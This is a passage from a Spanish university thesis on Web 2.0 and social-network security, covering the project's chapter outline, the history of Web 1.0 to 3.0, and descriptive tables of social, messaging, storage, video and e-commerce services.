se encuentra toda en Internet pero el problema es que está mal organizada y mal desarrollada
por lo que en un principio es complicado analizarla. También se ha contado con la posibilidad
de adquirir nuevos libros en la biblioteca de la universidad referentes a la seguridad en Web
2.0 y con los ordenadores de las aulas informáticas y salas de estudio de la Universidad Carlos
III para desarrollar el proyecto.
Página 22
sociales
1.5. Estructura de la memoria

Vamos a resumir brevemente los capítulos desarrollados en este proyecto.
Primera parte Aspectos de seguridad en Web 2.0 y redes sociales
Capítulo 1 Introducción y objetivos: capítulo actual.

Capítulo 2 Introducción a la Web 2.0: Introducción al concepto de Web 2.0, Web 1.
características, historia, comparación entre Web 1.0 y Web 2.0 y visión de la Web 3.0
Capítulo 3 Clasificación de la Web 2.0: clasificación según uso y aplicación.
Capítulo 4 Redes Sociales: Clasificación y ejemplos clave: clasificación de las redes
sociales y ejemplos de las grandes redes sociales que existen hoy en día en la red
como Facebook, Twitter, Tuenti, LinkedIn, etc. También se exponen dos Mapas Web
2.0 que se anexionan a la documentación del proyecto.
Capítulo 5 ¿Dónde se alojan?: plataformas y máquinas de la que hacen uso la Web
2.0. Principales características que deben incluir estos servidores para su buen
funcionamiento.
Capítulo 6 ¿En qué entornos se usan?: visión de los entornos donde se usan: social,
profesional y cultural.
Capítulo 7 Cómo se desarrollan: Tecnologías y lenguajes: una primera visión de los
lenguajes y tecnologías de los que hacen uso las redes sociales.
Capítulo 8 Aspectos de la seguridad en Web 2.0: una primera visión de la seguridad
implicada en las redes sociales así como los tipos de atacantes que nos podemos
encontrar.
Segunda parte Aspectos de seguridad en Web 2.0 y redes sociales
Capítulo 9 Introducción a la seguridad 2.0: descripción de lo que se va a desarrollar

en esta segunda parte del proyecto.
Capítulo 10 Hardware y software del servidor: tipo de hardware y software que
podemos tener en el lado del servidor y la seguridad implicada en ellos. Amenazas y
vulnerabilidades, tipos de ataques y protección frente a estos posibles ataques. Como
ejemplo claro de software desarrollamos los Sistemas de Gestión de Contenidos
(CMS).
Capítulo 11 Hardware y Software del Cliente: analizamos los diferentes tipos de
software y hardware que existen en el lado del cliente. Cómo tipo de hardware
destacan los teléfonos inteligentes ya que éstos tienen muy poca seguridad así como
muchos problemas de privacidad. Como tipo de software destacamos los
navegadores web y los diferentes sistemas operativos implicados. Se analiza la
seguridad implicada en el hardware y software del cliente.
Capítulo 12 Lenguajes y Tecnologías de comunicación entre cliente y servidor: se
desarrollan las tecnologías implicadas en la Web 2.0 como por ejemplo AJAX, HTML,
XML, JavaScript, protocolos de conexión. Una vez analizadas las tecnologías se
examinan los ataques top 10 de la seguridad, debilidades, amenazas, ataques y
protección frente a estos:
Página 23
sociales
o Top 10 Web 2.0 vectores de ataque.

o OWASP Top 10 Web Application Security Risks.
Capítulo 13 Legislación, estándares y normativas: se ven las principales leyes
relacionadas con las redes sociales en el ámbito español y europeo. Destacamos la
LOPD (Ley de protección de datos), LSSI (Ley de Servicios de la Sociedad de la
Información), ISO 27000 y metodología UIT-T X.805.
Capítulo 14 Privacidad: se analiza el concepto de privacidad enfocado a redes
sociales. Se estudia también las posibles amenazas de ingeniería social conocidas a
nivel de usuario. Se analizan los términos de uso de las redes sociales. Las posibles
medidas de seguridad que se podrían implantar tanto a nivel de usuario como de
proveedor de redes sociales. Soluciones a nivel de gobierno y las soluciones que están
actualmente funcionando. Herramientas que tienen las empresas para el control del
uso de las redes sociales en las oficinas. Autenticación OpenID y configuración del
navegador a nivel de cliente para aumentar la seguridad en las redes sociales.
Capítulo 15 Casos de uso: se exponen dos casos de uso: Facebook y Twitter y el
desarrollo aplicado del proyecto en estos. Introducción a la red social, historia,
tecnología, seguridad, criticas, privacidad y principales noticias vistas en la prensa.
Capítulo 16 Anexos: se exponen dos anexos diferentes.
o Anexo A: Your Apps Are Watching You: se estudia la privacidad en las
aplicaciones de los teléfonos móviles inteligentes para sistemas iOS y
BlackBerry. Se comprueba como muchas de las aplicaciones de estos
teléfonos exponen datos privados a terceras empresas sin nuestro
consentimiento.
o Anexo B: Banca 2.0, e-Banking: desarrollo de la banca pero desde el punto
de vista social. Cada vez más los banco están incluyendo en sus sistemas
tecnología enfocada más al mundo 2.0.
Capítulo 17 Presupuesto: se expone el presupuesto total del proyecto.
Página 24
sociales
Capítulo 2
Introducción a la Web 2.0
2.1. Una Primera Visión
Hoy en día en nuestro país escuchamos hablar constantemente de portales como Facebook,
Tuenti, Youtube o Wikipedia. Todos estos portales forman parte del meme1 de moda en
Internet, es decir, de la Web 2.0 que está englobada en un entorno de colaboración formando
un entramado de redes sociales infinitamente grande. Con la Web 2.0 ha nacido una visión
nueva de ver la web y con ella nuevas tecnologías para su desarrollo, nuevos entornos y
aplicaciones, nuevos sistemas de marketing y políticas de publicidad y con todo esto, una
renacer de las empresas de T.I. Básicamente con la Web 2.0 ha nacido una nueva filosofía de
vida.
La Web 2.0 y las redes sociales se basan en la creación de contenidos que producen y
comparten los propios usuarios de un mismo portal. Estos usuarios se convierten en
productores de la información que ellos mismos consumen. Se ha convertido en algo social
capaz de dar soporte a todos los usuarios y formar parte de una verdadera sociedad de la
información.
2.2. Web 1.0, la Web de los datos

Web 1.0 es la web tradicional, es un término que se refiere a un estado de la web, y cualquier
página web diseñada con un estilo anterior del fenómeno Web 2.0; de hecho este término fue
creado a partir del concepto Web 2.0. Comenzó en los años 60 y tras su creación surgió el
HTML surgiendo así los clientes para Internet, como Internet Explorer o Netscape.
La Web 1.0 es completamente estática, de solo lectura, el usuario no puede interactuar con el
contenido de la página, no se pueden hacer comentarios, ni respuestas, ni citas, estando
totalmente limitado a lo que el webmaster actualiza en la página web. Es un sistema de
documentos de hipertexto hipervinculados que funciona a través de internet mediante cliente-
servidor.
1
Meme es un neologismo que se refiere a la unidad teórica de información de transferencia cultural de una mente a otra más
pequeña que existe. Término acuñado por Richard Dawkins en “El gen egoísta”, señalando la similitud tan gran que existe entre la
memoria y la mímesis.
Página 25
sociales
2.3. Web 2.0, la web de las personas

Web 2.0 es la evolución de Web 1.0. Mientras en Web 1.0 las páginas eran exclusivamente en
formato HTML y se trataban de páginas estáticas y sin actualizaciones frecuentes, en Web 2.0
las páginas destacan por ser webs más dinámicas, orientadas principalmente a las redes
sociales, siendo páginas completamente interactivas y con una interfaz mucho más
desarrollada.
Web 2.0 se basa en la idea de añadir metadatos semánticos y ontológicos2 a la web. Esas
informaciones adicionales (que describen el contenido, el significado y la relación de los datos)
se deben proporcionar de manera formal, para que así sea posible evaluarlas
automáticamente por máquinas de procesamiento. El objetivo es mejorar la calidad de
Internet, ampliando la interoperabilidad entre los sistemas informáticos y reducir la necesaria
mediación de operadores humanos.
El problema del lenguaje HTML es que no permite relacionar datos para describir elementos,
la web semántica se ocuparía de resolver estas deficiencias. Para ello dispone de tecnologías
de descripción de los contenidos, como RDF (Resource Description Framework) y OWL (Web
Ontology Language), además de XML (eXtensible Markup Language), el lenguaje de marcas
diseñado para describir los datos. Hablamos de la Web 3.0.
El éxito de los portales como Google se debe a La Larga Cola3 (del inglés The Long Tail), que se
basa en que el usuario haga uso de la web a su gusto y gestione los datos a su manera, de tal
manera que se puede llegar a toda la web, a la “cola” de la web y no solo a la “cabeza” de ésta.
2.3.1. Características de las Web 2.0

Los portales que comprenden las Web 2.0 han tenido éxito debido a sus características
principales en el ámbito de la colaboración.
Los tres beneficios más importantes son:
- La gran mayoría de portales 2.0 son gratuitos.

- Se basan en una participación colectiva por parte de todos los usuarios para crear y
consumir información, permitiendo compartir, interactuar y colaborar en los portales
web.
- Contienen medios para la sindicación y etiquetado (tags).
El principal éxito de la Web 2.0 se basa en el ambiente de colaboración por parte de toda la
comunidad de usuarios de manera que la información surge de una manera increíblemente
fluida, veraz y completamente actualizada al minuto.
2
El término ontología en informático hace referencia a la formulación de un exhaustivo y riguroso esquema conceptual dentro de
uno o varios dominios de datos. El fin es facilitar la comunicación y el intercambio de información entre diferentes sistemas y
entidades. (Wikipedia, http://es.wikipedia.org/wiki/Ontolog%C3%ADa_(inform%C3%A1tica).
3 The Long Tail , término acuñado por Chris Anderson en un artículo para la revista Wired, octubre de 2004
Página 26
sociales
Podemos describir la Web 2.0 se puede describir en tres partes:
- RIA (Rich Internet Application): define la experiencia desde el escritorio al navegador

desde el punto de vista gráfico y de usabilidad. Ajax y Flash están muy relacionados
con RIA.
- SOA (Service-oriented Architecture): es una pieza clave en el sistema que define
cómo las aplicaciones 2.0 exponen su funcionalidad para que otras puedan
aprovechar e integrar en sus sistemas estas funcionalidades y así crear un conjunto de
aplicaciones mucho más rico (feeds de RSS, Web Services, Mash-ups).
- Web Social: define como la Web 2.0 tiende a interactuar mucho más con el usuario
final y hacer de él una parte de todo el sistema.
La Web 2.0 reúne las capacidades de software de cliente y servidor, sindicación de contenidos
y uso de protocolos de red. Estándares orientados a los navegadores web que pueden usar
plug-ins y extensiones de software para manejar el contenido y las interacciones del usuario.
Los portales 2.0 ofrecen almacenamiento de información a los usuarios, creación y difusión de
capacidades que no eran posibles en el entorno Web 1.0.
Página 27
sociales
2.3.2. Un poco de historia Web 2.0

La primera vez que se hizo referencia al término Web 2.0 fue en el año
2004 por Tim O’Reilly. Tim fue fundador de O’Reilly Media y defensor del
software libre. En el año 2001, se produjo el estallido de la burbuja
tecnológica de las famosas .com, que marcó un hito en la historia de la
web. Tras el estallido de la burbuja.com se produjo una grave crisis
económica dentro de la revolución tecnológica de la web, afectando a una
gran cantidad de empresarios, consultores y directivos. Estos afectados,
parte de ellos serían los que se convertirían en los nuevos usuarios de la
nueva sociedad de la información en Internet, formando parte de las
primeras comunidades de software libre. Se ha producido una evolución
hacia un Nuevo Entorno Tecnosocial4, más que de una nueva versión de
Internet.
Dale Dougherty vicepresidente de O’Reailly y Craig Cline de MediaLive se

unieron para desarrollar en una sesión de brainstorming el término Web
2.0 y así, realizar una conferencia que hablaba del renacimiento y la
evolución de la Web. Esta conferencia finalmente la realizaron en octubre
del 2004 en San Francisco, la “Web 2.0 Conference” y junto a John Battelle
Ilustración 1. Web
expusieron los principios clave que caracterizan a las aplicaciones de la 2.0 Conference.
Web 2.0 y fue donde finalmente se acuñó el término Web 2.0.
2.3.3. Nueva visión. ¿Qué provocan las Web 2.0?

La Web 2.0 ha generado:
- Millones de nuevas herramientas, sistemas y plataformas de fácil uso para publicar

información en la red y lo más importante, de manera segmentada. Esto ha
provocado que los medios tradicionales pierdan protagonismo como son la televisión,
la radio o los periódicos. Estos usuarios han hecho una migración de estos medios
hacia Internet.
- Nuevas aplicaciones y servicios a nivel mundial.
- Desarrollo de nuevas tecnologías enfocadas exclusivamente a este tipo de webs
debido a la gran cantidad de recursos necesarios a nivel tecnológico.
- Mayor inversión en publicidad en Internet y nuevas técnicas de marketing 2.0.
- Reducción de los costes de difusión de manera considerable.
- Democratización de los medios, es decir, cualquier persona tiene la posibilidad de
publicar información en la web como en los medios de difusión tradicionales. Hoy día
podemos tener nuestro propio periódico online, radio online o videos online y todo
esto de manera gratuita.
- Mejor clasificación de la información, ya que al trabajar en un entorno colaborativo
mediante etiquetas, permite que los usuarios clasifiquen la información de manera
más selectiva y eficiente, destacando el mejor contenido de los portales.
4
Profesor Sáez Vascas, 2004
Página 28
sociales
2.3.4. Wikipedia, la Web 2.0 por excelencia

Wikipedia nació en enero de 2001 de la mano de Jimmy Wales (excelente corredor de bolsa) y
Larry Sanger (filosofo creador de Citizendium) ambos americanos. Se trata de un proyecto de
la Fundación Wikimedia, una organización sin ánimo de lucro. La idea fue crear una
enciclopedia a nivel mundial en Internet, basada en el saber colectivo de millones de personas
especializadas en temas concretos que fuesen capaces de darlos a conocerlos y publicarlos esa
información específica en la web.
Ilustración 2. Portal de Wikipedia.
Wikipedia ha generado muchas críticas debido a la falta de verificación de la información, se

cuestiona la exactitud y la fiabilidad de su contenido. Destaca la posibilidad de incluir
información falsa en los artículos, pero este tipo de información es normalmente eliminada
rápidamente por los administradores o programas específicos para la detección y aviso o
robots creados exclusivamente para evitar los actos vandálicos por lo que la información
contenida en la web es bastante fiable5.
A pesar de estas críticas, Wikipedia es la web más visitada junto a Google y Youtube, es decir,
que tiene una gran aceptación a nivel mundial. La gran ventaja de este portal, es que
mantiene la información actualizada gracias a la rapidez con la que son modificados los
artículos por los usuarios, de ahí su nombre “wiki” (rápido en hawaiano) y “pedia” (de
enciclopedia).
5
Para más información sobre las críticas de Wikipedia, se puede consultar el reportaje “¿Debemos fiarnos de Wikipedia?” del
diario El País y de la autora Carmen Pérez-Lanzac.
http://www.elpais.com/articulo/sociedad/Debemos/fiarnos/Wikipedia/elpepusoc/20090610elpepisoc_1/Tes.
Página 29
sociales
2.4. Comparación: Web 1.0 y Web 2.0

Para entender mejor lo que es Web 2.0 veamos una tabla 6diseñada por O’Reilly, comparando
los antiguos términos de la Web 1.0 y a los que se dan hoy día en Web 2.0 referidos a
aplicaciones, webs, enfoques, etc.
Tabla 1. Artículo “What is Web 2.0” de Tim O’Reilly.
Web 1.0 Web 2.0

DoubleClick Google AdSense
Ofoto Flickr
Akamai BitTorrent
mp3.com Napster
Enciclopedia Británica Wikipedia
sitios web personales Blogging
evite upcoming.org y EVDB
especulación de nombres de dominio optimización de los motores de búsqueda
páginas vistas coste por click
screen scraping servicios web
publicación Participación
sistema de gestión de contenidos Wikis
directorios (taxonomía) etiquetado (folksonomia)
stikiness Redifusión
Terratv Youtube
6
Interpretación de la Web 2.0 realizada en una sesión de brainstorming entre O’Really y Media Live Internacional. Para más
detalles consultar el artículo What is Web 2.0 http://oreilly.com/web2/archive/what-is-web-20.html.
Página 30
sociales
2.5. Web 3.0, Web semántica
La Web 3.0 se asocia a una nueva etapa como evolución de la Web 2.0. Todavía se debate el
significado de Web 3.0 y su definición. La Web 3.0 se trata de la evolución de la red en una
base de datos, movimiento hacia los contenidos accesibles por aplicaciones non-browser,
empuje de las tecnologías de la inteligencia artificial, web semántica, web Geoespacial, web
3D, etc.
La evolución a la Web 3.0 llevara consigo un nacimiento de nuevas tecnologías haciendo uso
de datos semánticos. “Data Web” es un paso a la nueva era web, permite mayor integración
de la información haciendo ésta más accesible y enlazable con otras webs. Esta evolución se
debe a que actualmente existen muchos formatos dispares para la creación de portales web
como HTML, XML, JavaScript, RDF, microformatos, etc. “Data Web” es el primer paso hacia la
Web 3.0 y hacia la “Web Semántica”. La evolución hacia la Web 3.0 también va enfocada hacia
el 3D, transformando los portales que existen hoy día en dos dimensiones en portales 3D
abriendo nuevas fronteras de colaboración y conexión de portales.
Página 31
sociales
Capítulo 3
Clasificación de la Web 2.0
3.1. Clasificación
Podríamos clasificar las Web 2.0 de muchas maneras, pero se han escogido dos tipos de
clasificaciones fundamentales que son por uso y por aplicación.
Por uso, referidas al entorno en el que actúan, ya sea social, profesional o cultural, y pos
aplicación, referido a las aplicaciones que dan apoyo o son esenciales para la Web 2.0.
3.1.1. Clasificación por uso

La clasificación por uso divide los portales de manera social, cultural y profesional. Se
profundiza en esta clasificación en el punto “4. Redes sociales: clasificación y ejemplos clave”.
3.1.2. Por tipo de aplicación

Existe inmensidad de aplicaciones que ofrecen apoyo a la Web 2.0. Vamos a dividirlas por
temas y ofrecer un ejemplo7 de cada tema de una aplicación para clarificar la división.
Entretenimiento.
o Chessstweets – aplicación para jugar al ajedrez a través de Twitter.
Imagen.
o Flickrorama – visualiza Flickr en 3D.
Video.
o Tu.tv – canal de streaming de videos.
Música (audio, potcast).
o venueM – optimizar el potcast para iPhone/iPod touch.
Literatura y Arte.
o Librofilia – se trata de una red social dedicada a recomendaciones literarias.
Cine, televisión y radio.
o Nanocrowd – sistema de recomendación de películas.
Ayuda (tutoriales, guías, manuales).
o Guiate – manuales y tutoriales indicados por los usuarios.
7
Ejemplos de aplicaciones obtenidas de la web http://wwwhatsnew.com/recopilacion.
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sociales
Buscadores.
o RapidShare123 – busca archivos de RapidShare.
Comercio electrónico (venta de artículos, compra-venta).
o Tweexchange – mercado de compra-venta de usuarios de Twitter.
Diccionarios, enciclopedias y traductores.
o SpeakLike – traductor en tiempo real de conversación vía chat.
Correo electrónico.
o Spicebirg – cliente de correo que está basado Thunderbird.
Gestión de proyectos (office, procesamiento de archivos).
o Xmind – aplicación de brainstorming y gestión de proyectos.
Redes sociales.
o Tigga.me – aplicación para agrupar redes sociales.
Informática (seguridad, sistemas operativos, programación).
o MLab – herramientas de Google para evitar el filtrado P2P.
Otras categorías
o Viajes (hospedaje, vuelos).
o Inmobiliarias.
o Chats (citas, comunicación, mensajería instantánea).
o Descargas (torrent, P2P, descarga directa).
o Gestión académica (profesionales, universidades, escuelas).
o Motor (coches, motos, automóviles).
o Deportes.
o Móviles.
o Movimientos sociales (mejora del mundo, ongs).
o Política.
o Religión.
o Cocina (alimentación, salud).
o Código abierto.
o Noticias.
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sociales
Capítulo 4
Redes Sociales: Clasificación y
ejemplos clave
La mejor manera de comprender lo que son los portales2.0 es conociendo las webs que hoy
día están a la cabeza de este fenómeno Web 2.0. La gran aceptación que han tenido éstas
webs, se debe en parte a la versatilidad que da Web 2.0 para crear y consumir información, y
principalmente que todas ellas son gratuitas, teniendo así fácil y rápido acceso a la
información de éstas. Más que la tecnología, destaca el esfuerzo que realizan estos portales
en dar facilidades y herramientas a los usuarios y la interacción de que los usuarios pueden
realizar con el portal que es muy dinámica.
Por otro lado este tipo de websites tienen un gran hándicap y es que en la mayoría de ellas, con
sólo tener una dirección de email y sin tener que facilitar más datos personales, es posible
crear un perfil en la mayoría de redes sociales. Esto puede llevar a problemas de seguridad
básicos, como suplantación de la identidad de la persona que se comentarán más adelante.
Veamos cuáles son las Web 2.0 que tenemos en Internet y posteriormente desarrollaremos las
más populares.
4.1. Clasificación
Las redes sociales las vamos a clasificar según su contenido:
Sociales.
Comunidades y mensajería instantánea.
Infraestructura y almacenamiento de datos.
Fotografía y video.
Comercio electrónico.
Profesionales y de productividad.
Música y sonido.
Comunidad.
Búsqueda y referencia.
Otras
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sociales
4.1.1. Sociales
Redes sociales de tipo social.
Tabla 2. Redes Sociales. Categoría: Social.
Red Descripción
Facebook
Facebook.com
Facebook es una red social creada por Mark Zuckerberg,
que pone en contacto a personas y amigos. Los usuarios
pueden participar en varias redes.
Twitter
Twitter.com
Twitter es un portal de microblogging que permite al usuario

escribir y leer entradas o tweets de hasta 140 caracteres.
Tuenti
Tuenti.com
Tuenti, es una red social habitual orientada para el público
español joven. Dentro del perfil de usuario se pueden tener
fotos, videos y contactar con amigos.
MySpace
MySpace.com
MySpace es una red social orientada a grupos de música y
artistas principalmente con la posibilidad de crear perfiles
de usuario.
Hi5
Hi5.com
Hi5, es una red social global destinada a jóvenes. La
mayoría de usuario de esta red se encuentra en América
Latina.
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sociales
Orkut
Orkut.com Orkut es una red social promovida por Google desde enero
del 2004. La red está diseñada para permitir a sus
integrantes mantener sus relaciones existentes y hacer
nuevos amigos, contactos comerciales o relaciones más
íntimas.
Friendster
Friendster.com/
Friendster es un una red social que crea grupos sociales
similares a los de la vida real en una gran red virtual.
Bebo
Bebo.com Bebo es una red social que recibe recomendaciones sobre
música, vídeos, artículos y juegos. Se pueden compartir
fotos, enlaces, vídeos, aficiones e historias. Conecta con
amigos, familiares, compañeros de clase o de trabajo y
nuevas amistades.
Windows Live Spaces

Spaces.live.com
Windows Live Spaces ocupa el segundo puesto en el
ranking de redes sociales. Son un conjunto de servicios que
ofrece Microsoft como blogs, fotos, listas, amigos, libros,
perfil personalizado, etc.
Google Groups
Groups.google.com
Google Groups, es un servicio de Google que permite crear
listas de correo para mantener comunidades o facilitar la
comunicación entre personas. Permite el acceso a la red de
grupos Usenet.
Yahoo! Groups
Groups.yahoo.com
Yahoo! Groups, es una herramienta social para crear grupos
por Internet, pudiendo crear una comunidad virtual o ver
directorios de grupos hechos por otros usuarios.
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sociales
Del.icio.us
Delicious.com
Delicious, es un servicio web de gestión de marcadores
permitiendo guardar online los marcadores clásicos que se
guardaban en los favoritos de los navegadores y
categorizándolos por un sistema de tags o folcsonomías.
LiveJournal
LiveJournal.com
LiveJournal se trata de un weblog que permite a los
usuarios mantener un diario online. La diferencia entre
otros sitios de blog es que incluye características de redes
sociales como por ejemplo la “Página de Amigos”.
Meebo
Meebo.com
Meebo, es la plataforma web de IM para cualquier red.
Podemos conectar nuestro MSN, Yahoo, AOL/AIM,
MySpace, Facebook, Gtalk y muchas redes más todas
juntas.
Netvibes
Netvibes.com
Netvibes es un servicio web que hace las veces de escritorio
virtual personalizado mediante gadgets. Se organiza en
pestañas por temas; cada pestaña es un agregador de
widgets o módulos desplazables que los define el usuario.
iGoogle
iGoogle.com
iGoogle ofrece un servicio similar a Netvibes. Se trata de
una página personalizada donde se puede añadir mediante
gadgets noticias, fotos, predicciones de tiempo o cualquier
otro tema.
Ning
Ning.com
Ning es un servicio online para crear nuestra propia red

social en torno al tema que deseemos.
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sociales
4.1.2. Comunicaciones&Mensajería
Aplicaciones y webs de comunicaciones y mensajería 2.0.
Tabla 3. Redes Sociales. Categoría: Comunicaciones&Mensajería.
Red Descripción
Gtalk
Google.com/talk
Gtalk es una aplicación para chatear de Google integrada en

GMail.
Windows Live Messenger

Windowslive.es.msn.com/mess
enger/
Windows Live Messenger es un cliente de mensajería

instantánea desarrollado por Microsoft.
AIM
Aim.com/
AIM o AOL Instant Messenger es un cliente de mensajería

instantánea desarrollado por American On Line.
Skype
Skype.com
Skype es un cliente de chat y video en streaming. Permite la

posibilidad de hacer llamadas gratis por Internet o pagar
determinadas tarifas de llamadas.
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sociales
Yahoo! Messenger
Messenger.yahoo.com
Yahoo! Messenger es un cliente de mensajería instantánea

desarrollado por Yahoo.
Trillian
Trillian.im
Trillian es una aplicación de mensajería instantánea

multiprotocolo para Windows, IPhone y web desarrollada
por Cerulean Studios que puede conectar desde un cliente a
múltiples servicios como AIM, ICQ, MSN, IRC, Novell
GroupWise Messenger, Bonjour, Jabber/XMPP y Skype.
iChat
Apple.com/es/support/ichat
iChat es un cliente de mensajería instantánea desarrollado

por Apple. Se puede conectar a redes AIM y XMPP.
También se puede conectar con otros usuarios de MAC a
través de Bonjour.
ooVoo
ooVoo.com
ooVoo es un cliente de mensajería instantánea de audio y

video desarrollado por ooVoo LLC para Windows y MAC. Es
similar a iChat o Skype.
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sociales
Pidgin
Pidgin.im
Pidgin es un cliente de mensajería instantánea

multiplataforma capaz de conectarse a múltiples redes y
diferentes cuentas de manera simultánea.
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sociales
4.1.3. Infraestructura&Almacenamiento
Aplicaciones de infraestructura de almacenamiento.
Tabla 4. Redes Sociales. Categoría: Infraestructura&Almacenamiento.
Red Descripción
DropBox
DropBox.com
DropBox es un servicio de almacenamiento de archivos

multiplataforma desarrollado por la empresa DropBox.
Permite almacenar y sincronizar los archivos online y
compartirlos con otros usuarios. Permite la subida de hasta
2Gb de archivos con un límite de 200Mb por archivo.
YouSendIt
YouSendIt.com
YouSendIt es una de las aplicaciones más populares y
seguras para compartir archivos online que permite
fácilmente mandar archivos de gran extensión y adjuntos al
correo. Permite hasta 1Gb de archivos de hasta 100Mb de
almacenamiento.
BitTorrent
BitTorrent.com BitTorrent es una aplicación desarrollada por BitTorrent.Inc
que permite el envío de archivos vía P2P para poder
descargar ficheros de otros usuarios o partes de estos
mediante archivos .torrent.
Windows Live SkyDrive

Skydrive.live.com
Windows Live SkyDrive, ws un servicio de Windows Live de
Microsoft que permite a los usuarios subir archivos online y
almacenarlos para poder acceder a ellos desde cualquier
navegador. Permite la subida de 25Gb limitando 50Mb por
archivo subido.
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sociales
OpenID
OpenID.com
OpenID es un sistema de autenticación global, seguro, libre
y sencillo que facilita la identificación en muchas páginas
webs ya que usa el mismo identificador para todas
mediante una url de OpenID teniendo así un solo ID para
todos los accesos.
Mozy
Mozy.com
Mozy se trata de una herramienta de backup online de hasta
2Gb de almacenamiento.
Carbonite
Carbonite.com
Carbonite Online Backup es una herramienta de backup
online para MAC.
Adobe AIR
Adobe.com/products/air
Adobe AIR, se trata de un entorno de ejecución
multiplataforma para la construcción de aplicaciones RIA
(Rich Internet Applications). Utiliza tecnologías de Adobe
Flash, Adobe Flex, HTML y AJAX.
Amazon Web Services

Aws.Amazon.com Amazon Web Services se trata de un conjunto de servicios
web remotos que conforman una plataforma de cloud
computing. Incluye servicios como “Amazon Elastic
Compute Cloud, EC2”, “Amazon SimpleDB”, “Alexa Top
Sites”, “Amazon Simple Storage Service” y otros muchos
servicios online.
Box
Box.net
Box se trata de un servicio de almacenamiento de archivos

online de hasta 1Gb de almacenamiento.
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sociales
LogMeIn
LogMeIn.com LogMeIn es un servicio para acceder de forma remota a los
equipos de Windows o MAC pudiendo acceder también
desde un dispositivo móvil. Existe la posibilidad de crear
una red virtual P2P con otros equipos y de creación de
backups.
OpenDNS
OpenDNS.com
OpenDNS es un servidor de DNS (Domain Name System)
gratuito y abierto. Da la posibilidad de hacer resolución
DNS a usuarios como alternativa al servidor DNS de su ISP
(Internet Service Provider).
Pando
Pando.com Pando es un cliente P2P que permite intercambiar archivos
de cualquier tipo de manera gratuita. Tiene ciertas
limitaciones como que el tamaño del archivo solo puede ser
de menos de 1Gb y límite de tiempo de descarga si no se
realizan descargas con frecuencia.
Sharefile
Sharefile.com
Sharefile provee almacenamiento online para empresas.
Tiene servicios de encriptación de archivos, subida de
archivos por FTP, etc.
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sociales
4.1.4. Fotografía&Video
Webs 2.0 dedicadas a la fotografía y/o al video.
Tabla 5. Redes Sociales. Categoría: Fotografía&Video.
Red Descripción
Flickr
Flickr.com Flickr es un portal web que permite subir fotografías y
vídeos y compartirlas online. La popularidad de Flickr reside
en la posibilidad de administrar las fotografías mediante
tags, el comentar y explorar otras fotos y la posibilidad de
hacer una red de amigos y perfiles favoritos.
FotoFlexer
FotoFlexer.com FotoFlexer es un editor online con multitud de herramientas
incluyendo efectos que permite editar fotos que subamos
directamente a la web o editar fotos de de photobucket,
myspace, facebook, flickr, picasa u otras webs.
Photobucket
Photobucket.com Photobucket se trata de un sitio web que permite subir
imágenes, videos y crear slideshows y álbumes de
presentaciones. Se pueden realizar comentarios en las fotos
de otros igual que con flickr.
Picasa Web Albums

Picasaweb.Google.com
Picasa es un software gratuito de Google Inc. que permite
almacenar fotos online o en local, modificar y mejorar las
fotos y compartir nuestros álbumes con amigos.
Fotolog
Fotolog.com
Fotolog es como un blog fotográfico. La idea es publicar
una foto al día con algún pequeño comentario donde
nuestras amistades pueden hacer comentarios también.
Webshots
Webshots.com Webshots es un portal para compartir fotografías creado
por American Greetings que permite subir fotos y videos
personales en álbumes de diferentes áreas. También
permite descargar fondos de pantalla gratuitos.
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sociales
Youtube
YouTube.com
Youtube es la mayor web 2.0 de video-sharing donde

podemos subir, compartir y ver videos. Permite puntuar los
videos, crear nuestra propia página de videos con
contactos, etc. Se creó por los empleados de PayPal y
actualmente pertenece a Google Inc. Usa Adobe Flash
Video para mostrar los videos en la web.
Vimeo Vimeo es una red social para subida y visualización de

Vimeo.com videos que permite a los usuarios hacer comentarios sobre
los videos, crear listas de favoritos, cargar avatares, etc. Se
creó por la compañía InterActiveCorp. El éxito de Vimeo
frente a Youtube es la calidad en HD o alta definición que
ofrece, aunque Youtube también incluyó este servicio en su
web.
Amazon Video On
Demand
Amazon Video On Demand (VoD) se trata de un servicio 2.0
Amazon.com
de video on demand. El VoD es un sistema de televisión que
permite al usuario acceder a contenidos multimedia de
forma personalizada. Solo está permitido en Estados
Unidos y usa tecnología Flash Video en todos los
navegadores con el plugin de Adobe Flash instalado.
Antiguamente este servicio se conocía como Amazon
Unbox.
FixMyMovie
FixMyMovie se trata de un sitio online que permite subir
FixMyMovie.com
grabaciones realizadas con cámaras de video, teléfonos o
webcams y retocarlos quitando errores de pixelado. Es un
servicio originalmente militar y permite aumentar la
resolución de los videos usando un algoritmo de H.264 en
formato HD y guardarlos en los formatos .mp4, .3g2, .avi,
etc. También permite la posibilidad de incrustar los videos
en los blogs, compartirlos, etc.
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sociales
Joost
Joost.com
Joost se trata de un programa y una aplicación web, para
distribuir programas de televisión u otros videos que incluye
tecnología P2P para ello. Esta autorizado para distribuir
videos de distintos medios como MTC o VH1 dejando de
lado a Youtube. Actualmente está en su fase beta.
Miro
getMiro.com
Miro es una aplicación de televisión online gratuita que
ofrece canales de muchas fuentes y permite HD. Permite
ver videos, audio y podcasts. Está desarrollado para
Windows, MAC, Ubuntu, OSX y otras distribuciones.
Netflix
Netflix.com
Netflix es un servicio de pago que permite ver televisión
online, películas y series en streaming. Está desarrollado
para MAC y para Windows.
uStream
www.uStream.tv
uStream es un sitio web americano de pago que consiste en
una red de diversos canales que provee una plataforma de
lifecasting y video streaming de eventos online.
Veodia
Veodia.com
Veodia es un servicio online que permite grabar, descargar
y compartir en alta calidad videos de manera rápida y fácil.
Permite agregar videopodcasts de alta calidad a nuestro
blog.
VoiceThread
VoiceThread.com VoiceThread es una aplicación que permite recopilar y
compartir un grupo de conversaciones sin necesidad de
instalar ningún software. La aplicación es colaborativa
porque permite crear slides shows, compartir imágenes,
documentos, videos y permite a la gente dejar comentarios.
Página 46
sociales
TUtv
Tu.tv
TUtv es un servicio de televisión online gratuito español que

permite subir, descargar y compartir videos online, así como
votar los diferentes videos de la web. Se trata de un servicio
proporcionado por HispaVista.
daleAlPlay
Dalealplay.com/
daleAlPlay se trata de una web española de TV 2.0 que
permite crear nuestro propio canal para compartir videos.
Podemos descargar, subir o compartir videos a modo de
Youtube.
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sociales
4.1.5. e-Commerce
Portales dedicados al comercio electrónico.
Tabla 6. Redes Sociales. Categoría: e-Commerce.
Red Descripción
Amazon
Amazon.com
Amazon es una web 2.0 de comercio electrónico. Fue una
de las pioneras en la venta de comercio por Internet.
Permite la compraventa de todo tipo de artículos. En
Europa solo funciona en Alemania, Francia y Gran Bretaña
